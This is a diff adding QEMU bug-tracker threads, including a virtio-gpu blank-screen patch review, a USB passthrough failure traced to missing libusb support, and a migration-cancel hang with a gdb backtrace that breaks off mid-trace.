plane->state->crtc_w, plane->state->crtc_h, +@@ -178,6 +179,7 @@ static void virtio_gpu_primary_plane_update(struct drm_plane *plane, + plane->state->src_h >> 16, + plane->state->src_x >> 16, + plane->state->src_y >> 16); ++ output->need_update = false; + } + + virtio_gpu_cmd_resource_flush(vgdev, bo->hw_res_handle, +-- +2.18.4 + + + + Hi, + +> > --- a/drivers/gpu/drm/virtio/virtgpu_display.c +> > +++ b/drivers/gpu/drm/virtio/virtgpu_display.c +> > @@ -100,6 +100,7 @@ static void virtio_gpu_crtc_atomic_enable(struct drm_crtc *crtc, +> > struct virtio_gpu_output *output = drm_crtc_to_virtio_gpu_output(crtc); +> > +> > output->enabled = true; +> > + output->need_update = true; + +> > --- a/drivers/gpu/drm/virtio/virtgpu_plane.c +> > +++ b/drivers/gpu/drm/virtio/virtgpu_plane.c +> > @@ -163,7 +163,8 @@ static void virtio_gpu_primary_plane_update(struct drm_plane *plane, +> > plane->state->src_w != old_state->src_w || +> > plane->state->src_h != old_state->src_h || +> > plane->state->src_x != old_state->src_x || +> > - plane->state->src_y != old_state->src_y) { +> > + plane->state->src_y != old_state->src_y || +> > + output->need_update) { +> +> Uh instead of hand-rolling what's essentially a drm_crtc_needs_modeset +> check, why not use that one? atomic helpers try to keep the usual suspects +> for state transitions already handy, to avoid every driver rolling their +> own. Or do I miss something here? + +Well, the virtio-gpu virtual hardware can't do plane updates and crtc +updates independant from each other. So the crtc callbacks handle +disable only (we don't need a fb for that) and leave the enable to the +plane update. + +I suspect calling drm_atomic_crtc_needs_modeset() in plane update isn't +going to fly ... + +take care, + Gerd + + + +On Mon, Aug 17, 2020 at 11:03:42AM +0200, Gerd Hoffmann wrote: +> Hi, +> +> > > --- a/drivers/gpu/drm/virtio/virtgpu_display.c +> > > +++ b/drivers/gpu/drm/virtio/virtgpu_display.c +> > > @@ -100,6 +100,7 @@ static void virtio_gpu_crtc_atomic_enable(struct drm_crtc *crtc, +> > > struct virtio_gpu_output *output = drm_crtc_to_virtio_gpu_output(crtc); +> > > +> > > output->enabled = true; +> > > + output->need_update = true; +> +> > > --- a/drivers/gpu/drm/virtio/virtgpu_plane.c +> > > +++ b/drivers/gpu/drm/virtio/virtgpu_plane.c +> > > @@ -163,7 +163,8 @@ static void virtio_gpu_primary_plane_update(struct drm_plane *plane, +> > > plane->state->src_w != old_state->src_w || +> > > plane->state->src_h != old_state->src_h || +> > > plane->state->src_x != old_state->src_x || +> > > - plane->state->src_y != old_state->src_y) { +> > > + plane->state->src_y != old_state->src_y || +> > > + output->need_update) { +> > +> > Uh instead of hand-rolling what's essentially a drm_crtc_needs_modeset +> > check, why not use that one? atomic helpers try to keep the usual suspects +> > for state transitions already handy, to avoid every driver rolling their +> > own. Or do I miss something here? +> +> Well, the virtio-gpu virtual hardware can't do plane updates and crtc +> updates independant from each other. So the crtc callbacks handle +> disable only (we don't need a fb for that) and leave the enable to the +> plane update. +> +> I suspect calling drm_atomic_crtc_needs_modeset() in plane update isn't +> going to fly ... + +Digged a bit more, seems crtc_state->*_changed is cleared after modeset +so the following plane update wouldn't see it. Which I think means +there is no way around tracking that in need_update. + +output->enabled is probably not needed though, seems I can replace that +by either output->crtc.state->enable or ->active. Not fully sure which +one, probably ->active. + +take care, + Gerd + + + +When going through a disable/enable cycle without changing the +framebuffer the optimization added by commit 3954ff10e06e ("drm/virtio: +skip set_scanout if framebuffer didn't change") causes the screen stay +blank. Add a bool to force an update to fix that. + +v2: use drm_atomic_crtc_needs_modeset() (Daniel). + +Cc: <email address hidden> +Fixes: 3954ff10e06e ("drm/virtio: skip set_scanout if framebuffer didn't change") +Signed-off-by: Gerd Hoffmann <email address hidden> +--- + drivers/gpu/drm/virtio/virtgpu_drv.h | 1 + + drivers/gpu/drm/virtio/virtgpu_display.c | 11 +++++++++++ + drivers/gpu/drm/virtio/virtgpu_plane.c | 4 +++- + 3 files changed, 15 insertions(+), 1 deletion(-) + +diff --git a/drivers/gpu/drm/virtio/virtgpu_drv.h b/drivers/gpu/drm/virtio/virtgpu_drv.h +index 9ff9f4ac0522..4ab1b0ba2925 100644 +--- a/drivers/gpu/drm/virtio/virtgpu_drv.h ++++ b/drivers/gpu/drm/virtio/virtgpu_drv.h +@@ -138,6 +138,7 @@ struct virtio_gpu_output { + int cur_x; + int cur_y; + bool enabled; ++ bool needs_modeset; + }; + #define drm_crtc_to_virtio_gpu_output(x) \ + container_of(x, struct virtio_gpu_output, crtc) +diff --git a/drivers/gpu/drm/virtio/virtgpu_display.c b/drivers/gpu/drm/virtio/virtgpu_display.c +index 2c2742b8d657..6c26b41f4e0d 100644 +--- a/drivers/gpu/drm/virtio/virtgpu_display.c ++++ b/drivers/gpu/drm/virtio/virtgpu_display.c +@@ -123,6 +123,17 @@ static int virtio_gpu_crtc_atomic_check(struct drm_crtc *crtc, + static void virtio_gpu_crtc_atomic_flush(struct drm_crtc *crtc, + struct drm_crtc_state *old_state) + { ++ struct virtio_gpu_output *output = drm_crtc_to_virtio_gpu_output(crtc); ++ ++ /* ++ * virtio-gpu can't do modeset and plane update operations ++ * independant from each other. So the actual modeset happens ++ * in the plane update callback, and here we just check ++ * whenever we must force the modeset. ++ */ ++ if (drm_atomic_crtc_needs_modeset(crtc->state)) { ++ output->needs_modeset = true; ++ } + } + + static const struct drm_crtc_helper_funcs virtio_gpu_crtc_helper_funcs = { +diff --git a/drivers/gpu/drm/virtio/virtgpu_plane.c b/drivers/gpu/drm/virtio/virtgpu_plane.c +index 52d24179bcec..65757409d9ed 100644 +--- a/drivers/gpu/drm/virtio/virtgpu_plane.c ++++ b/drivers/gpu/drm/virtio/virtgpu_plane.c +@@ -163,7 +163,9 @@ static void virtio_gpu_primary_plane_update(struct drm_plane *plane, + plane->state->src_w != old_state->src_w || + plane->state->src_h != old_state->src_h || + plane->state->src_x != old_state->src_x || +- plane->state->src_y != old_state->src_y) { ++ plane->state->src_y != old_state->src_y || ++ output->needs_modeset) { ++ output->needs_modeset = false; + DRM_DEBUG("handle 0x%x, crtc %dx%d+%d+%d, src %dx%d+%d+%d\n", + bo->hw_res_handle, + plane->state->crtc_w, plane->state->crtc_h, +-- +2.18.4 + + + +From: Gerd Hoffmann <email address hidden> + +When going through a disable/enable cycle without changing the +framebuffer the optimization added by commit 3954ff10e06e ("drm/virtio: +skip set_scanout if framebuffer didn't change") causes the screen stay +blank. Add a bool to force an update to fix that. + +v2: use drm_atomic_crtc_needs_modeset() (Daniel). + +Cc: <email address hidden> +Fixes: 3954ff10e06e ("drm/virtio: skip set_scanout if framebuffer didn't change") +Signed-off-by: Gerd Hoffmann <email address hidden> +Tested-by: Jiri Slaby <email address hidden> +Tested-by: Diego Viola <email address hidden> +--- + drivers/gpu/drm/virtio/virtgpu_display.c | 11 +++++++++++ + drivers/gpu/drm/virtio/virtgpu_drv.h | 1 + + drivers/gpu/drm/virtio/virtgpu_plane.c | 4 +++- + 3 files changed, 15 insertions(+), 1 deletion(-) + +diff --git a/drivers/gpu/drm/virtio/virtgpu_display.c b/drivers/gpu/drm/virtio/virtgpu_display.c +index af55b334be2f..35b5c80f5d85 100644 +--- a/drivers/gpu/drm/virtio/virtgpu_display.c ++++ b/drivers/gpu/drm/virtio/virtgpu_display.c +@@ -123,6 +123,17 @@ static int virtio_gpu_crtc_atomic_check(struct drm_crtc *crtc, + static void virtio_gpu_crtc_atomic_flush(struct drm_crtc *crtc, + struct drm_crtc_state *old_state) + { ++ struct virtio_gpu_output *output = drm_crtc_to_virtio_gpu_output(crtc); ++ ++ /* ++ * virtio-gpu can't do modeset and plane update operations ++ * independant from each other. So the actual modeset happens ++ * in the plane update callback, and here we just check ++ * whenever we must force the modeset. ++ */ ++ if (drm_atomic_crtc_needs_modeset(crtc->state)) { ++ output->needs_modeset = true; ++ } + } + + static const struct drm_crtc_helper_funcs virtio_gpu_crtc_helper_funcs = { +diff --git a/drivers/gpu/drm/virtio/virtgpu_drv.h b/drivers/gpu/drm/virtio/virtgpu_drv.h +index 9ff9f4ac0522..4ab1b0ba2925 100644 +--- a/drivers/gpu/drm/virtio/virtgpu_drv.h ++++ b/drivers/gpu/drm/virtio/virtgpu_drv.h +@@ -138,6 +138,7 @@ struct virtio_gpu_output { + int cur_x; + int cur_y; + bool enabled; ++ bool needs_modeset; + }; + #define drm_crtc_to_virtio_gpu_output(x) \ + container_of(x, struct virtio_gpu_output, crtc) +diff --git a/drivers/gpu/drm/virtio/virtgpu_plane.c b/drivers/gpu/drm/virtio/virtgpu_plane.c +index 52d24179bcec..65757409d9ed 100644 +--- a/drivers/gpu/drm/virtio/virtgpu_plane.c ++++ b/drivers/gpu/drm/virtio/virtgpu_plane.c +@@ -163,7 +163,9 @@ static void virtio_gpu_primary_plane_update(struct drm_plane *plane, + plane->state->src_w != old_state->src_w || + plane->state->src_h != old_state->src_h || + plane->state->src_x != old_state->src_x || +- plane->state->src_y != old_state->src_y) { ++ plane->state->src_y != old_state->src_y || ++ output->needs_modeset) { ++ output->needs_modeset = false; + DRM_DEBUG("handle 0x%x, crtc %dx%d+%d+%d, src %dx%d+%d+%d\n", + bo->hw_res_handle, + plane->state->crtc_w, plane->state->crtc_h, +-- +2.28.0 + + + +On Mon, Aug 24, 2020 at 09:24:40AM +0200, Jiri Slaby wrote: +> On 18. 08. 20, 9:25, Gerd Hoffmann wrote: +> > When going through a disable/enable cycle without changing the +> > framebuffer the optimization added by commit 3954ff10e06e ("drm/virtio: +> > skip set_scanout if framebuffer didn't change") causes the screen stay +> > blank. Add a bool to force an update to fix that. +> > +> > v2: use drm_atomic_crtc_needs_modeset() (Daniel). +> > +> > Cc: <email address hidden> +> > Fixes: 3954ff10e06e ("drm/virtio: skip set_scanout if framebuffer didn't change") +> > Signed-off-by: Gerd Hoffmann <email address hidden> +> +> Tested-by: Jiri Slaby <email address hidden> + +Ping. Need an ack or an review to merge this. + +thanks, + Gerd + + + +This bug is now fixed with Linux 5.9-rc5, thank you. + diff --git a/results/classifier/deepseek-1/output/closed./1320360 b/results/classifier/deepseek-1/output/closed./1320360 new file mode 100644 index 00000000..719067a6 --- /dev/null +++ b/results/classifier/deepseek-1/output/closed./1320360 @@ -0,0 +1,496 @@ + +usb passthrough not working anymore + +Hi, + +I'm using qemu 2.0.0 with opensuse 13.1 x84_64 bit as host and window7 as guest. Til qemu version 1.6.2 USB passthrough works perfectly, but starting with qemu 2.0.0 passthrough stop working. I can still add the usb device but when I start the guest following message appears: + +"unable to execute QEMU command 'device_add': 'usb-host' is not a valid device model name" + +Then the guest will not start. + +I try it with different usb devices (iphone, stick, hdd), always the same error. + +Are there any news / hints about this ? + +Regards + +Martin + +Be sure to add the -usb option. What is your command line? + +See also http://git.qemu.org/?p=qemu.git;a=blob;f=docs/usb2.txt;h=c7a445afcd55fe1f12033d529d668a1306d5a9f4;hb=HEAD#l111 + +Hi, + +From qemu-1.7 release version, the old usb-host(host-linux.c) had been removed, +re-implemented by libusbx. So you should build qemu with --enable-libusb, then +you can use usb pass-through capacity. + +BTW, Gerd, should we enable libusb by default now? Thanks. + + +Best regards, +-Gonglei + +> -----Original Message----- +> From: <email address hidden> +> [mailto:<email address hidden>] On +> Behalf Of Martin R?h +> Sent: Saturday, May 17, 2014 3:35 AM +> To: <email address hidden> +> Subject: [Qemu-devel] [Bug 1320360] [NEW] usb passthrough not working +> anymore +> +> Public bug reported: +> +> Hi, +> +> I'm using qemu 2.0.0 with opensuse 13.1 x84_64 bit as host and window7 +> as guest. Til qemu version 1.6.2 USB passthrough works perfectly, but +> starting with qemu 2.0.0 passthrough stop working. I can still add the +> usb device but when I start the guest following message appears: +> +> "unable to execute QEMU command 'device_add': 'usb-host' is not a valid +> device model name" +> +> Then the guest will not start. +> +> I try it with different usb devices (iphone, stick, hdd), always the +> same error. +> +> Are there any news / hints about this ? +> +> Regards +> +> Martin +> +> ** Affects: qemu +> Importance: Undecided +> Status: New +> +> -- +> You received this bug notification because you are a member of qemu- +> devel-ml, which is subscribed to QEMU. +> https://bugs.launchpad.net/bugs/1320360 +> +> Title: +> usb passthrough not working anymore +> +> Status in QEMU: +> New +> +> Bug description: +> Hi, +> +> I'm using qemu 2.0.0 with opensuse 13.1 x84_64 bit as host and window7 +> as guest. Til qemu version 1.6.2 USB passthrough works perfectly, but +> starting with qemu 2.0.0 passthrough stop working. I can still add the +> usb device but when I start the guest following message appears: +> +> "unable to execute QEMU command 'device_add': 'usb-host' is not a +> valid device model name" +> +> Then the guest will not start. +> +> I try it with different usb devices (iphone, stick, hdd), always the +> same error. +> +> Are there any news / hints about this ? +> +> Regards +> +> Martin +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1320360/+subscriptions + + + +The command line is + +/usr/bin/qemu-system-x86_64 -machine accel=kvm -name win8 -S -machine +pc-i440fx-2.0,accel=kvm,usb=off -cpu Nehalem -m 2048 -realtime mlock=off +-smp 2,sockets=2,cores=1,threads=1 -uuid +424ca5ec-2fb4-4d1c-84c4-25b92d468b8e -no-user-config -nodefaults +-chardev +socket,id=charmonitor,path=/var/lib/libvirt/qemu/win8.monitor,server,nowait +-mon chardev=charmonitor,id=monitor,mode=control -rtc +base=localtime,driftfix=slew -global kvm-pit.lost_tick_policy=discard +-no-hpet -no-shutdown -global PIIX4_PM.disable_s3=1 -global +PIIX4_PM.disable_s4=1 -boot strict=on -device +ich9-usb-ehci1,id=usb,bus=pci.0,addr=0x4.0x7 -device +ich9-usb-uhci1,masterbus=usb.0,firstport=0,bus=pci.0,multifunction=on,addr=0x4 +-device +ich9-usb-uhci2,masterbus=usb.0,firstport=2,bus=pci.0,addr=0x4.0x1 +-device +ich9-usb-uhci3,masterbus=usb.0,firstport=4,bus=pci.0,addr=0x4.0x2 +-device ahci,id=ahci0,bus=pci.0,addr=0x7 -drive +file=/opt/emu/win8.raw,if=none,id=drive-virtio-disk0,format=raw -device +virtio-blk-pci,scsi=off,bus=pci.0,addr=0x5,drive=drive-virtio-disk0,id=virtio-disk0,bootindex=2 +-netdev tap,fd=22,id=hostnet0,vhost=on,vhostfd=23 -device +virtio-net-pci,netdev=hostnet0,id=net0,mac=52:54:00:44:d1:dc,bus=pci.0,addr=0x3 +-chardev pty,id=charserial0 -device +isa-serial,chardev=charserial0,id=serial0 -device usb-tablet,id=input0 +-vnc 127.0.0.1:0 -device VGA,id=video0,bus=pci.0,addr=0x2 -device +intel-hda,id=sound0,bus=pci.0,addr=0x8 -device +hda-duplex,id=sound0-codec0,bus=sound0.0,cad=0 -device +virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x6 + +Am 17.05.2014 01:15, schrieb Lekensteyn: +> Be sure to add the -usb option. What is your command line? +> +> See also +> http://git.qemu.org/?p=qemu.git;a=blob;f=docs/usb2.txt;h=c7a445afcd55fe1f12033d529d668a1306d5a9f4;hb=HEAD#l111 +> + + + +Hi, + +as far as I can see from the rpm specs of the opensuse rpm package the +--enable-libusb is set . + +Regards + +Martin + +Am 18.05.2014 06:52, schrieb Gonglei (Arei): +> Hi, +> +> From qemu-1.7 release version, the old usb-host(host-linux.c) had been removed, +> re-implemented by libusbx. So you should build qemu with --enable-libusb, then +> you can use usb pass-through capacity. +> +> BTW, Gerd, should we enable libusb by default now? Thanks. +> +> +> Best regards, +> -Gonglei +> +>> -----Original Message----- +>> From: <email address hidden> +>> [mailto:<email address hidden>] On +>> Behalf Of Martin R?h +>> Sent: Saturday, May 17, 2014 3:35 AM +>> To: <email address hidden> +>> Subject: [Qemu-devel] [Bug 1320360] [NEW] usb passthrough not working +>> anymore +>> +>> Public bug reported: +>> +>> Hi, +>> +>> I'm using qemu 2.0.0 with opensuse 13.1 x84_64 bit as host and window7 +>> as guest. Til qemu version 1.6.2 USB passthrough works perfectly, but +>> starting with qemu 2.0.0 passthrough stop working. I can still add the +>> usb device but when I start the guest following message appears: +>> +>> "unable to execute QEMU command 'device_add': 'usb-host' is not a valid +>> device model name" +>> +>> Then the guest will not start. +>> +>> I try it with different usb devices (iphone, stick, hdd), always the +>> same error. +>> +>> Are there any news / hints about this ? +>> +>> Regards +>> +>> Martin +>> +>> ** Affects: qemu +>> Importance: Undecided +>> Status: New +>> +>> -- +>> You received this bug notification because you are a member of qemu- +>> devel-ml, which is subscribed to QEMU. +>> https://bugs.launchpad.net/bugs/1320360 +>> +>> Title: +>> usb passthrough not working anymore +>> +>> Status in QEMU: +>> New +>> +>> Bug description: +>> Hi, +>> +>> I'm using qemu 2.0.0 with opensuse 13.1 x84_64 bit as host and window7 +>> as guest. Til qemu version 1.6.2 USB passthrough works perfectly, but +>> starting with qemu 2.0.0 passthrough stop working. I can still add the +>> usb device but when I start the guest following message appears: +>> +>> "unable to execute QEMU command 'device_add': 'usb-host' is not a +>> valid device model name" +>> +>> Then the guest will not start. +>> +>> I try it with different usb devices (iphone, stick, hdd), always the +>> same error. +>> +>> Are there any news / hints about this ? +>> +>> Regards +>> +>> Martin +>> +>> To manage notifications about this bug go to: +>> https://bugs.launchpad.net/qemu/+bug/1320360/+subscriptions +> + + + +Hi, + +if I try to start the vm by virt-manager I get this detailed error log: + +Fehler beim Starten der Domain: internal error: early end of file from +monitor: possible problem: +qemu-system-x86_64: -device usb-host,hostbus=1,hostaddr=3,id=hostdev0: +'usb-host' is not a valid device model name + + +Traceback (most recent call last): + File "/usr/share/virt-manager/virtManager/asyncjob.py", line 91, in +cb_wrapper + callback(asyncjob, *args, **kwargs) + File "/usr/share/virt-manager/virtManager/asyncjob.py", line 127, in +tmpcb + callback(*args, **kwargs) + File "/usr/share/virt-manager/virtManager/domain.py", line 1363, in +startup + self._backend.create() + File "/usr/lib64/python2.7/site-packages/libvirt.py", line 917, in create + if ret == -1: raise libvirtError ('virDomainCreate() failed', dom=self) +libvirtError: internal error: early end of file from monitor: possible +problem: +qemu-system-x86_64: -device usb-host,hostbus=1,hostaddr=3,id=hostdev0: +'usb-host' is not a valid device model name + +Regards + +Martin + +Am 18.05.2014 06:52, schrieb Gonglei (Arei): +> Hi, +> +> From qemu-1.7 release version, the old usb-host(host-linux.c) had been removed, +> re-implemented by libusbx. So you should build qemu with --enable-libusb, then +> you can use usb pass-through capacity. +> +> BTW, Gerd, should we enable libusb by default now? Thanks. +> +> +> Best regards, +> -Gonglei +> +>> -----Original Message----- +>> From: <email address hidden> +>> [mailto:<email address hidden>] On +>> Behalf Of Martin R?h +>> Sent: Saturday, May 17, 2014 3:35 AM +>> To: <email address hidden> +>> Subject: [Qemu-devel] [Bug 1320360] [NEW] usb passthrough not working +>> anymore +>> +>> Public bug reported: +>> +>> Hi, +>> +>> I'm using qemu 2.0.0 with opensuse 13.1 x84_64 bit as host and window7 +>> as guest. Til qemu version 1.6.2 USB passthrough works perfectly, but +>> starting with qemu 2.0.0 passthrough stop working. I can still add the +>> usb device but when I start the guest following message appears: +>> +>> "unable to execute QEMU command 'device_add': 'usb-host' is not a valid +>> device model name" +>> +>> Then the guest will not start. +>> +>> I try it with different usb devices (iphone, stick, hdd), always the +>> same error. +>> +>> Are there any news / hints about this ? +>> +>> Regards +>> +>> Martin +>> +>> ** Affects: qemu +>> Importance: Undecided +>> Status: New +>> +>> -- +>> You received this bug notification because you are a member of qemu- +>> devel-ml, which is subscribed to QEMU. +>> https://bugs.launchpad.net/bugs/1320360 +>> +>> Title: +>> usb passthrough not working anymore +>> +>> Status in QEMU: +>> New +>> +>> Bug description: +>> Hi, +>> +>> I'm using qemu 2.0.0 with opensuse 13.1 x84_64 bit as host and window7 +>> as guest. Til qemu version 1.6.2 USB passthrough works perfectly, but +>> starting with qemu 2.0.0 passthrough stop working. I can still add the +>> usb device but when I start the guest following message appears: +>> +>> "unable to execute QEMU command 'device_add': 'usb-host' is not a +>> valid device model name" +>> +>> Then the guest will not start. +>> +>> I try it with different usb devices (iphone, stick, hdd), always the +>> same error. +>> +>> Are there any news / hints about this ? +>> +>> Regards +>> +>> Martin +>> +>> To manage notifications about this bug go to: +>> https://bugs.launchpad.net/qemu/+bug/1320360/+subscriptions +> + + + +Hi, + +> -----Original Message----- +> From: Martin Röh [mailto:<email address hidden>] +> Sent: Monday, May 19, 2014 4:40 AM +> To: Gonglei (Arei); Bug 1320360; <email address hidden> +> Cc: Gerd Hoffmann +> Subject: Re: [Qemu-devel] [Bug 1320360] [NEW] usb passthrough not working +> anymore +> +> Hi, +> +> if I try to start the vm by virt-manager I get this detailed error log: +> +> Fehler beim Starten der Domain: internal error: early end of file from +> monitor: possible problem: +> qemu-system-x86_64: -device usb-host,hostbus=1,hostaddr=3,id=hostdev0: +> 'usb-host' is not a valid device model name +> +> +> Traceback (most recent call last): +> File "/usr/share/virt-manager/virtManager/asyncjob.py", line 91, in +> cb_wrapper +> callback(asyncjob, *args, **kwargs) +> File "/usr/share/virt-manager/virtManager/asyncjob.py", line 127, in +> tmpcb +> callback(*args, **kwargs) +> File "/usr/share/virt-manager/virtManager/domain.py", line 1363, in +> startup +> self._backend.create() +> File "/usr/lib64/python2.7/site-packages/libvirt.py", line 917, in create +> if ret == -1: raise libvirtError ('virDomainCreate() failed', dom=self) +> libvirtError: internal error: early end of file from monitor: possible +> problem: +> qemu-system-x86_64: -device usb-host,hostbus=1,hostaddr=3,id=hostdev0: +> 'usb-host' is not a valid device model name +> +The above error information shows "usb-host" didn't been built in qemu-system-x86_64 +binary file. You can get the qemu-2.0.0 source files from http://wiki.qemu.org/Download +and rebuild it with '--enable-libusb' during configure. + + +Best regards, +-Gonglei + + +On So, 2014-05-18 at 22:36 +0200, Martin Röh wrote: +> Hi, +> +> as far as I can see from the rpm specs of the opensuse rpm package the +> --enable-libusb is set . + +> > BTW, Gerd, should we enable libusb by default now? Thanks. + +By default libusb will be used when found on the system. +When it isn't there qemu will be built without usb-host support. + +If you explicitly ask for libusb support (via --enable-libusb) and +libusbx isn't found configure should fail. + +cheers, + Gerd + + + + +Martin, + +The OBS Virtualization/qemu project doesn't build QEMU v2.0 with libusb support for openSUSE 13.1, because the version provided in that distro was 1.0.9, and QEMU's configure requires 1.0.13. + +Bruce + +Hi, I've done the following on my OpenSUSE 13.1 install where I'm in sore need of USB passthrough with QEMU 2.0.0 +1) zypper source-install qemu to get the sources +2) update of libusb to 1.0.18 from the hardware:/debug/OpenSUSE_Factory repo - packages are libusb-1_0-0 and libusb-1_0-devel +3) removed the version check for --enable-libusb in qemu.spec to ensure that this flag is set when building +The output of rpmbuild -bb /usr/src/packages/SPECS/qemu.spec is +error: Failed build dependencies: + libusb-devel is needed by qemu-2.0.0-240.5.x86_64 + xen-devel is needed by qemu-2.0.0-240.5.x86_64 +Any input is greatly appreciated. + +xen-devel was not an issue (that package was installed so that dependency was resolved immediately) but libusb-devel is still reported as missing, even though I have a 1.0.18 version of a libusb-1_0-devel installed. I would think it's only the package name that is different. I'm not overly familiar with the build process, therefore I'm not certain if it would be sufficient to modify the qemu.spec build spec with the library name as it is installed on my system. Thanks. + +I went ahead and modified the qemu.spec to require libusb-1_0-devel instead of libusb-devel. That seems to work as according to the build output it includes /usr/include/libusb-1.0. I apologize for needing three comments to get to this point. This is all very much a learning experience for me. + +It looks like something may be broken when building seabios. + +ASL Input: /usr/src/packages/BUILD/qemu-2.0.0/roms/seabios/builds/seabios-128k/src/fw/acpi-dsdt.dsl.i - 475 lines, 19178 bytes, 316 keywords +AML Output: /usr/src/packages/BUILD/qemu-2.0.aml - 4407 bytes, 159 named objects, 157 executable opcodes +Listing File: /usr/src/packages/BUILD/qemu-2.0.lst - 174477 bytes +Hex Dump: /usr/src/packages/BUILD/qemu-2.0.hex - 41680 bytes + +Compilation complete. 0 Errors, 0 Warnings, 0 Remarks, 246 Optimizations +Traceback (most recent call last): + File "./scripts/acpi_extract.py", line 237, in <module> + for line in fileinput.input(): + File "/usr/lib64/python2.7/fileinput.py", line 252, in next + line = self.readline() + File "/usr/lib64/python2.7/fileinput.py", line 344, in readline + self._file = open(self._filename, self._mode) +IOError: [Errno 2] No such file or directory: '/usr/src/packages/BUILD/qemu-2.0.0/roms/seabios/builds/seabios-128k/src/fw/acpi-dsdt.lst' +make[1]: *** [/usr/src/packages/BUILD/qemu-2.0.0/roms/seabios/builds/seabios-128k/src/fw/acpi-dsdt.hex] Error 1 +make[1]: Leaving directory `/usr/src/packages/BUILD/qemu-2.0.0/roms/seabios' +make: *** [build-seabios-config-seabios-128k] Error 2 +make: Leaving directory `/usr/src/packages/BUILD/qemu-2.0.0/roms' +error: Bad exit status from /var/tmp/rpm-tmp.LbOtWA (%build) + +Now I'm well and truly stuck. Is there a way to leave seabios out of the equation or can this be resolved? + +Triaging old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + +Hi, + +the ticket can be close. All works fine with actual opensuse tumbleweed +and qemu 2.10.0 :-) + +Best regards + +Martin + +Am 03.10.2017 um 12:42 schrieb Thomas Huth: +> Triaging old bug tickets... can you still reproduce this issue with the +> latest version of QEMU? Or could we close this ticket nowadays? +> +> ** Changed in: qemu +> Status: New => Incomplete +> + + +Thanks for checking again! + diff --git a/results/classifier/deepseek-1/output/comments./1687569 b/results/classifier/deepseek-1/output/comments./1687569 new file mode 100644 index 00000000..e0d19783 --- /dev/null +++ b/results/classifier/deepseek-1/output/comments./1687569 @@ -0,0 +1,64 @@ + +when migration cancel, qemu main thread hung + +qemu version:v2.9.0-rc5 release + +1.virsh migrate --live 165cf436-312f-47e7-90f2-f8aa63f34893 --copy-storage-all qemu+ssh://10.59.163.38/system +2.press Ctrl+C cancel migrate + + qemu main thread hung + +(gdb) bt +#0 0x00007fca9f4574b7 in ppoll () from /lib64/libc.so.6 +#1 0x0000000000944970 in qemu_poll_ns (fds=0x293e6e0, nfds=1, timeout=-1) at util/qemu-timer.c:322 +#2 0x0000000000947e16 in aio_poll (ctx=0x291d4b0, blocking=true) at util/aio-posix.c:622 +#3 0x00000000008b6094 in nbd_teardown_connection (bs=0x29ccdc0) at block/nbd-client.c:59 +#4 0x00000000008b6df1 in nbd_client_close (bs=0x29ccdc0) at block/nbd-client.c:377 +#5 0x00000000008b5988 in nbd_close (bs=0x29ccdc0) at block/nbd.c:488 +#6 0x00000000008435de in bdrv_close (bs=0x29ccdc0) at block.c:2919 +#7 0x0000000000843c86 in bdrv_delete (bs=0x29ccdc0) at block.c:3100 +#8 0x000000000084620b in bdrv_unref (bs=0x29ccdc0) at block.c:4087 +#9 0x00000000008411d1 in bdrv_root_unref_child (child=0x30e4800) at block.c:1891 +#10 0x000000000084128a in bdrv_unref_child (parent=0x29c0660, child=0x30e4800) at block.c:1915 +#11 0x000000000084362a in bdrv_close (bs=0x29c0660) at block.c:2925 +#12 0x0000000000843c86 in bdrv_delete (bs=0x29c0660) at block.c:3100 +#13 0x000000000084620b in bdrv_unref (bs=0x29c0660) at block.c:4087 +#14 0x00000000008411d1 in bdrv_root_unref_child (child=0x3013910) at block.c:1891 +#15 0x0000000000848149 in block_job_remove_all_bdrv (job=0x3fa7800) at blockjob.c:154 +#16 0x00000000008a8dd8 in mirror_exit (job=0x3fa7800, opaque=0x7fca90000bf0) at block/mirror.c:576 +#17 0x0000000000849e22 in block_job_defer_to_main_loop_bh (opaque=0x7fca90000d90) at blockjob.c:794 +#18 0x00000000009420c4 in aio_bh_call (bh=0x7fca90000dc0) at util/async.c:90 +#19 0x000000000094216f in aio_bh_poll (ctx=0x291d4b0) at util/async.c:118 +#20 0x00000000009480d9 in aio_poll (ctx=0x291d4b0, blocking=true) at util/aio-posix.c:682 +#21 0x00000000008b6094 in nbd_teardown_connection (bs=0x2921350) at block/nbd-client.c:59 +#22 0x00000000008b6df1 in nbd_client_close (bs=0x2921350) at block/nbd-client.c:377 +#23 0x00000000008b5988 in nbd_close (bs=0x2921350) at block/nbd.c:488 +#24 0x00000000008435de in bdrv_close (bs=0x2921350) at block.c:2919 +#25 0x0000000000843c86 in bdrv_delete (bs=0x2921350) at block.c:3100 +#26 0x000000000084620b in bdrv_unref (bs=0x2921350) at block.c:4087 +#27 0x00000000008411d1 in bdrv_root_unref_child (child=0x390d180) at block.c:1891 +#28 0x000000000084128a in bdrv_unref_child (parent=0x4eba200, child=0x390d180) at block.c:1915 +#29 0x000000000084362a in bdrv_close (bs=0x4eba200) at block.c:2925 +#30 0x0000000000843c86 in bdrv_delete (bs=0x4eba200) at block.c:3100 +#31 0x000000000084620b in bdrv_unref (bs=0x4eba200) at block.c:4087 +#32 0x00000000008411d1 in bdrv_root_unref_child (child=0x4ebf990) at block.c:1891 +#33 0x0000000000848149 in block_job_remove_all_bdrv (job=0x4ea85b0) at blockjob.c:154 +#34 0x00000000008a8dd8 in mirror_exit (job=0x4ea85b0, opaque=0x7fca98000bf0) at block/mirror.c:576 +#35 0x0000000000849e22 in block_job_defer_to_main_loop_bh (opaque=0x7fca980013d0) at blockjob.c:794 +#36 0x00000000009420c4 in aio_bh_call (bh=0x7fca9801e0c0) at util/async.c:90 +#37 0x000000000094216f in aio_bh_poll (ctx=0x291d4b0) at util/async.c:118 +---Type <return> to continue, or q <return> to quit--- +#38 0x00000000009476ae in aio_dispatch (ctx=0x291d4b0) at util/aio-posix.c:429 +#39 0x00000000009425e4 in aio_ctx_dispatch (source=0x291d4b0, callback=0, user_data=0x0) at util/async.c:261 +#40 0x00007fcaa0101f0e in g_main_context_dispatch () from /lib64/libglib-2.0.so.0 +#41 0x0000000000945d86 in glib_pollfds_poll () at util/main-loop.c:213 +#42 0x0000000000945ea7 in os_host_main_loop_wait (timeout=124777230) at util/main-loop.c:261 +#43 0x0000000000945f72 in main_loop_wait (nonblocking=0) at util/main-loop.c:517 +#44 0x00000000005c7794 in main_loop () at vl.c:1898 +#45 0x00000000005cec57 in main (argc=64, argv=0x7fffe7020c58, envp=0x7fffe7020e60) at 